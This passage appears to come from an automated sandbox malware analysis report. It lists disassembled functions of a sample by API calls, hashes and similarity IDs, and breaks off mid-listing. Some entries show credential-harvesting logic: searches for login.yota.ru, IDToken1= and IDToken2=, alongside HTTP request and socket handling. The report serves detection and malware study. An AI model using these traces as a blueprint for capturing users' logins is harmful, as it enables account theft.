                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HeadersHttpRequest
                                                                                                                                                                                                                      • String ID: ($Accept-Encoding:
                                                                                                                                                                                                                      • API String ID: 1754618566-3981465706
                                                                                                                                                                                                                      • Opcode ID: bbd590759b153b762d8a518f3fb32a4d257beca7b488d86ae3ce7bcaa031bc19
                                                                                                                                                                                                                      • Instruction ID: 17f7c08408c03715775ae706eb655650ac44439b85e6fa5ff75e1aee995004ef
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bbd590759b153b762d8a518f3fb32a4d257beca7b488d86ae3ce7bcaa031bc19
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EF113DB1A04305AFD750CF79D884B5B7BE9EB8C324F004A1EF955D3281E370E9088BA2
                                                                                                                                                                                                                      Function 027241D0 Relevance: 6.3, APIs: 5, Instructions: 54COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • free.MSVCRT(?,75977310,00000000,0271A320), ref: 027241EB
                                                                                                                                                                                                                      • free.MSVCRT(?,75977310,00000000,0271A320), ref: 027241FD
                                                                                                                                                                                                                      • free.MSVCRT(?,75977310,00000000,0271A320), ref: 0272420F
                                                                                                                                                                                                                      • free.MSVCRT(?,75977310,00000000,0271A320), ref: 02724221
                                                                                                                                                                                                                      • free.MSVCRT(?,75977310,00000000,0271A320), ref: 0272422B
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: free
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1294909896-0
                                                                                                                                                                                                                      • Opcode ID: 71bd133c4875051db06b00cab7f86aeaca24e2fac4d160e731bd81413cc00ed7
                                                                                                                                                                                                                      • Instruction ID: 40db744a5bdfa40335a1af04eb7da2b32a99f9d9c57171207e5942b33ed3a2d1
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 71bd133c4875051db06b00cab7f86aeaca24e2fac4d160e731bd81413cc00ed7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72015EA2A417915BDB30DFAA98E141BBAE5AE44108359883ED1DE87A04D331F84C9B11
                                                                                                                                                                                                                      Function 027213A0 Relevance: 6.3, APIs: 4, Instructions: 287COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(000000FF,?,?,?,?,00000000,?,?,?), ref: 027213F9
                                                                                                                                                                                                                      • realloc.MSVCRT(?,000000FF,?,?,?,?,00000000,?,?,?), ref: 02721405
                                                                                                                                                                                                                      • malloc.MSVCRT(00000000,?,?,?,?,00000000,?,?,?), ref: 027214AC
                                                                                                                                                                                                                      • realloc.MSVCRT(?,00000000,?,?,?,?,00000000,?,?,?), ref: 027214B8
                                                                                                                                                                                                                        • Part of subcall function 02720EA0: __WSAFDIsSet.WS2_32(?,?), ref: 02720F50
                                                                                                                                                                                                                        • Part of subcall function 02720EA0: closesocket.WS2_32(?), ref: 02720F6D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: mallocrealloc$closesocket
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 403730927-0
                                                                                                                                                                                                                      • Opcode ID: 861c5679d0c258acb61879349260742ad0a51c95a36710324bddc1521ec12ff7
                                                                                                                                                                                                                      • Instruction ID: bb6a29ed6a8d4f9d74f2ce509e6862e88184f60c4e139595f7312d3177af813d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 861c5679d0c258acb61879349260742ad0a51c95a36710324bddc1521ec12ff7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 51B1D676E002158FCB08CF28D890AE537A2FF98341F0885BAED0D9F346D775A915CBA0
                                                                                                                                                                                                                      Function 0271B600 Relevance: 6.2, APIs: 4, Instructions: 248COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(000000FF,00000000,?,?,?,000000FF,?), ref: 0271B659
                                                                                                                                                                                                                      • realloc.MSVCRT(?,000000FF,00000000,?,?,?,000000FF,?), ref: 0271B665
                                                                                                                                                                                                                      • malloc.MSVCRT(000000FF,00000000,?,?,?,000000FF,?), ref: 0271B68B
                                                                                                                                                                                                                      • realloc.MSVCRT(?,000000FF,00000000,?,?,?,000000FF,?), ref: 0271B697
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: mallocrealloc
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 948496778-0
                                                                                                                                                                                                                      • Opcode ID: a5945c819671ca9b472dc8b33f2166761cdf7860de2d5dfd3fd84a66369fc4b0
                                                                                                                                                                                                                      • Instruction ID: 4f95176247e695385132a9b4a4f3874bb44bc76ad9beb1a458853b207a58ce7e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a5945c819671ca9b472dc8b33f2166761cdf7860de2d5dfd3fd84a66369fc4b0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4091E576E002158FDB14CF28D884AAA3BA5FF98345F0495BAED0D9B345D774A912CBE0
                                                                                                                                                                                                                      Function 02724EF0 Relevance: 6.2, APIs: 4, Instructions: 248COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(000000FF,?,?,?,?,000000FF,?), ref: 02724F49
                                                                                                                                                                                                                      • realloc.MSVCRT(?,000000FF,?,?,?,?,000000FF,?), ref: 02724F55
                                                                                                                                                                                                                      • malloc.MSVCRT(000000FF,?,?,?,?,000000FF,?), ref: 02724F7B
                                                                                                                                                                                                                      • realloc.MSVCRT(?,000000FF,?,?,?,?,000000FF,?), ref: 02724F87
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: mallocrealloc
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 948496778-0
                                                                                                                                                                                                                      • Opcode ID: f821f97ba1726c58286e719de7acbfee3618fe70237614cdca5c28f86bad8f0b
                                                                                                                                                                                                                      • Instruction ID: fcfd748113aa36ecf311527bef3b644a663c33ceae278b867c424216b65f8729
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f821f97ba1726c58286e719de7acbfee3618fe70237614cdca5c28f86bad8f0b
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A291D576E002258FDB18CF24CC94AEA37A5FF84351F4484BAED0D9B345D774A915CBA0
                                                                                                                                                                                                                      Function 02720670 Relevance: 6.1, APIs: 4, Instructions: 146COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: closesocket
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2781271927-0
                                                                                                                                                                                                                      • Opcode ID: 1fffef1bc5da2e139d08e91a55318a259d3e23c17df69658059103994a5a5cd2
                                                                                                                                                                                                                      • Instruction ID: e7bcf7ab1f851e5dbcc04336829a04b7fd8dc78219e08fede10bd939f9534541
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1fffef1bc5da2e139d08e91a55318a259d3e23c17df69658059103994a5a5cd2
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EA51F570100B129BD725CB38C8946D6B3E6FBA5328F74CA29C47B87295DB35B54A8B50
                                                                                                                                                                                                                      Function 02708220 Relevance: 6.1, APIs: 4, Instructions: 83fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • fseek.MSVCRT(?,00000000,00000000,?), ref: 027082AB
                                                                                                                                                                                                                      • fwrite.MSVCRT(00000003,00000020,00000001), ref: 027082C2
                                                                                                                                                                                                                      • fwrite.MSVCRT(?,00000020,?,00000000), ref: 027082D1
                                                                                                                                                                                                                      • fwrite.MSVCRT(?,00000001,00000001), ref: 027082F1
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: fwrite$fseek
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3883414211-0
                                                                                                                                                                                                                      • Opcode ID: 5c18394c0146227744e98e265cf2d51cb9d316861c01766b054b8a17ab282133
                                                                                                                                                                                                                      • Instruction ID: 681ad9aa23c1fe975e6c07b64c7f084fd4445d02caa7e61ee12b4a2bfebdfe83
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5c18394c0146227744e98e265cf2d51cb9d316861c01766b054b8a17ab282133
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8621BD71A407059FD720CFA8CC41BAAB7F5EF98300F04896DE485E7381E2B4A944CB91
                                                                                                                                                                                                                      Function 02702370 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000206,00000000), ref: 02702392
                                                                                                                                                                                                                      • GetParent.USER32(?,?,?,00000000), ref: 0270239E
                                                                                                                                                                                                                      • GetWindowTextW.USER32(00000000,?,00000104,?,?,00000000), ref: 027023B5
                                                                                                                                                                                                                      • StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 027023D6
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: ParentTextWindowmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 4175915554-0
                                                                                                                                                                                                                      • Opcode ID: 17bb7bf6206d1001d89f7bc66e390db7cca97fdfbe244addefaaf4db2a1a5346
                                                                                                                                                                                                                      • Instruction ID: 9a552866373b6f5d68d0b6080f1336d3b797cad00618eac7d0dc7729fd5aafd4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 17bb7bf6206d1001d89f7bc66e390db7cca97fdfbe244addefaaf4db2a1a5346
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BE01F973B4032467DB209969ACCCA9BF39DAB44615F40427AFE0CD3142EA70D95886E0
                                                                                                                                                                                                                      Function 02708F30 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 50COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,?,?,?,?,?,026FF965,?), ref: 02708F43
                                                                                                                                                                                                                        • Part of subcall function 02704170: GetProcessHeap.KERNEL32(00000008,00000016,75A8EA50,02749B58,02714A9E), ref: 02704181
                                                                                                                                                                                                                        • Part of subcall function 02704170: HeapAlloc.KERNEL32(00000000), ref: 02704188
                                                                                                                                                                                                                        • Part of subcall function 02704170: memset.MSVCRT(00000000,00000000,00000016), ref: 02704198
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,?,?,?,?,026FF965,?), ref: 02708F5E
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(0000000D,?,00000000,?), ref: 026F6F61
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6F74
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6F87
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6F9A
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6FAD
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6FC0
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6FD3
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6FE6
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F6FF9
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F700C
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F701F
                                                                                                                                                                                                                        • Part of subcall function 026F6F00: isdigit.MSVCRT(?), ref: 026F7032
                                                                                                                                                                                                                        • Part of subcall function 0270E1B0: memset.MSVCRT(?,00000000,00000103,?,00000000,?), ref: 0270E1D1
                                                                                                                                                                                                                        • Part of subcall function 0270E1B0: StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 0270E209
                                                                                                                                                                                                                        • Part of subcall function 0270E1B0: PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270E23D
                                                                                                                                                                                                                        • Part of subcall function 0270E1B0: PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270E273
                                                                                                                                                                                                                        • Part of subcall function 0270E1B0: PathFileExistsA.SHLWAPI(00000000), ref: 0270E2B9
                                                                                                                                                                                                                        • Part of subcall function 027144A0: strstr.MSVCRT(00000000,login.yota.ru,?,00000000), ref: 027144DC
                                                                                                                                                                                                                        • Part of subcall function 027144A0: strstr.MSVCRT(00000000,IDToken1=), ref: 027144EF
                                                                                                                                                                                                                        • Part of subcall function 027144A0: strstr.MSVCRT(00000000,IDToken2=), ref: 02714502
                                                                                                                                                                                                                        • Part of subcall function 027144A0: PathAddBackslashA.SHLWAPI(0274D2A0), ref: 02714528
                                                                                                                                                                                                                        • Part of subcall function 027144A0: PathAddBackslashA.SHLWAPI(0274D2A0), ref: 02714562
                                                                                                                                                                                                                        • Part of subcall function 027144A0: CreateDirectoryA.KERNEL32(?,00000000,?), ref: 027145CD
                                                                                                                                                                                                                        • Part of subcall function 027144A0: GetLastError.KERNEL32 ref: 027145D7
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: isdigit$Path$Backslash$strstr$Heapmemset$AllocCreateDirectoryErrorExistsFileLastProcessReadmemcpy
                                                                                                                                                                                                                      • String ID: GET $POST
                                                                                                                                                                                                                      • API String ID: 1712455144-2494278042
                                                                                                                                                                                                                      • Opcode ID: c701c6dda0376306efebac202fe97003d5d0a47cae0bfc257e34c227fd6265d1
                                                                                                                                                                                                                      • Instruction ID: de43b506bbca001fdae7767b982a56c1343f830d9690abdb8da41ae99c223ab5
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c701c6dda0376306efebac202fe97003d5d0a47cae0bfc257e34c227fd6265d1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AAF028B2905A10FED6336A35ACC8E9F6ADF8E83764F400418FA4499184DF20F80845FB
                                                                                                                                                                                                                      Function 02719B30 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004,?,26EE2620,?,02711012,?,?,?,75BFBF00), ref: 02719B43
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(00000000,?,00000104,?,02711012,?,?,?,75BFBF00), ref: 02719B59
                                                                                                                                                                                                                        • Part of subcall function 02719780: GetProcessHeap.KERNEL32(00000008,00004070,74DE2E60,00000000,74DF0F00,?,02703CE8,?), ref: 02719793
                                                                                                                                                                                                                        • Part of subcall function 02719780: HeapAlloc.KERNEL32(00000000,?,02703CE8,?), ref: 02719796
                                                                                                                                                                                                                        • Part of subcall function 02719780: memset.MSVCRT(00000000,00000000,00004070,?,02703CE8,?), ref: 027197AB
                                                                                                                                                                                                                        • Part of subcall function 02719780: CreateFileA.KERNEL32(02703CE8,40000000,00000003,00000000,00000002,00000080,00000000,?,02703CE8,?), ref: 02719802
                                                                                                                                                                                                                        • Part of subcall function 02719780: GetProcessHeap.KERNEL32(00000000,00000000,?,02703CE8,?), ref: 02719825
                                                                                                                                                                                                                        • Part of subcall function 02719780: HeapValidate.KERNEL32(00000000,?,02703CE8,?), ref: 02719828
                                                                                                                                                                                                                        • Part of subcall function 02719780: GetProcessHeap.KERNEL32(00000000,00000000,?,02703CE8,?), ref: 02719834
                                                                                                                                                                                                                        • Part of subcall function 02719780: HeapFree.KERNEL32(00000000,?,02703CE8,?), ref: 02719837
                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,75BFBF00,?,02711012,?,?,?,75BFBF00), ref: 02719B85
                                                                                                                                                                                                                        • Part of subcall function 02719910: LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,74DF0F00), ref: 02719991
                                                                                                                                                                                                                        • Part of subcall function 02719910: _snprintf.MSVCRT(00000000,00000104,%s\*,00000000), ref: 027199AD
                                                                                                                                                                                                                        • Part of subcall function 02719910: FindFirstFileA.KERNEL32(00000000,?), ref: 027199BC
                                                                                                                                                                                                                        • Part of subcall function 02719910: LocalFree.KERNEL32(00000000), ref: 027199C9
                                                                                                                                                                                                                        • Part of subcall function 02719910: wsprintfA.USER32(?,%s\%s,00000000,0000002E), ref: 02719A08
                                                                                                                                                                                                                        • Part of subcall function 02719910: wsprintfA.USER32(00000000,%s\%s,00000000,?), ref: 02719A16
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocFreeProcess$FileLocalVirtualwsprintf$CreateFindFirstValidate_snprintflstrcpynmemset
                                                                                                                                                                                                                      • String ID: 26EE2620
                                                                                                                                                                                                                      • API String ID: 4264910087-395483698
                                                                                                                                                                                                                      • Opcode ID: 6680c4eee01f8c687f82590dcaa91f6aa79ea3f80490d800ccaf141643553789
                                                                                                                                                                                                                      • Instruction ID: 99ae1488c4079dba4f6a5006d568fe5ed9ef3af4f986b98081dece875eba4026
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6680c4eee01f8c687f82590dcaa91f6aa79ea3f80490d800ccaf141643553789
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81F0B476381614B7D33266699C1AFAB661CAFC5B71F404421FB04AA1C0CAB1A51286A4
                                                                                                                                                                                                                      Function 026F7620 Relevance: 6.0, APIs: 4, Instructions: 42fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,?,02715632,00004D42), ref: 026F7638
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000E,00000000,?,?,02715632,00004D42), ref: 026F7647
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02715632,0000000E,00004D42,00000000,?,?,02715632,00004D42), ref: 026F7659
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000E,00000000,?,?,02715632,00004D42), ref: 026F7669
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$LockPointerUnlockWrite
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3342219707-0
                                                                                                                                                                                                                      • Opcode ID: 0327a13aaf3abf66c337d91e682d7142d7cba5c81717c6a6609ab1a8a809eba4
                                                                                                                                                                                                                      • Instruction ID: 8334ebae1747d1c1bc5a7c1f0b1ba718951c32c329a1f81ee28d2d6ae4e6d916
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0327a13aaf3abf66c337d91e682d7142d7cba5c81717c6a6609ab1a8a809eba4
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EBF030B1641208BFEB108F65DC89FBF7AACEB49781F508519FA04DA180DB719E50C7B9
                                                                                                                                                                                                                      Function 026F4090 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000020,00000000,-00000010,?,026F432B,?), ref: 026F409C
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,026F432B,?), ref: 026F40A3
                                                                                                                                                                                                                      • _snprintf.MSVCRT(00000000,00000014,%d.%d.%d.%d,?,?,?,?,?,026F432B,?), ref: 026F40E2
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocProcess_snprintf
                                                                                                                                                                                                                      • String ID: %d.%d.%d.%d
                                                                                                                                                                                                                      • API String ID: 1060465051-3491811756
                                                                                                                                                                                                                      • Opcode ID: 8d6147f390534100f3526f3465da1a607d38c233244593b0af99a9eb8d4497b2
                                                                                                                                                                                                                      • Instruction ID: 1fd1232ad779950a0deb6cb6d2c26e9d7a9fb6bff3b6cf9933ccfdfad7402d16
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8d6147f390534100f3526f3465da1a607d38c233244593b0af99a9eb8d4497b2
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 43F031B1940714AFD370CF699844B57BFE8EF0C616B40C92EF69AC7641D23595148BA4
                                                                                                                                                                                                                      Function 0270A740 Relevance: 6.0, APIs: 4, Instructions: 37synchronizationthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,00000000,75B07390,?,?,0270709B), ref: 0270A75A
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270A7B0,00000000,00000000,00000000,?,?,0270709B), ref: 0270A774
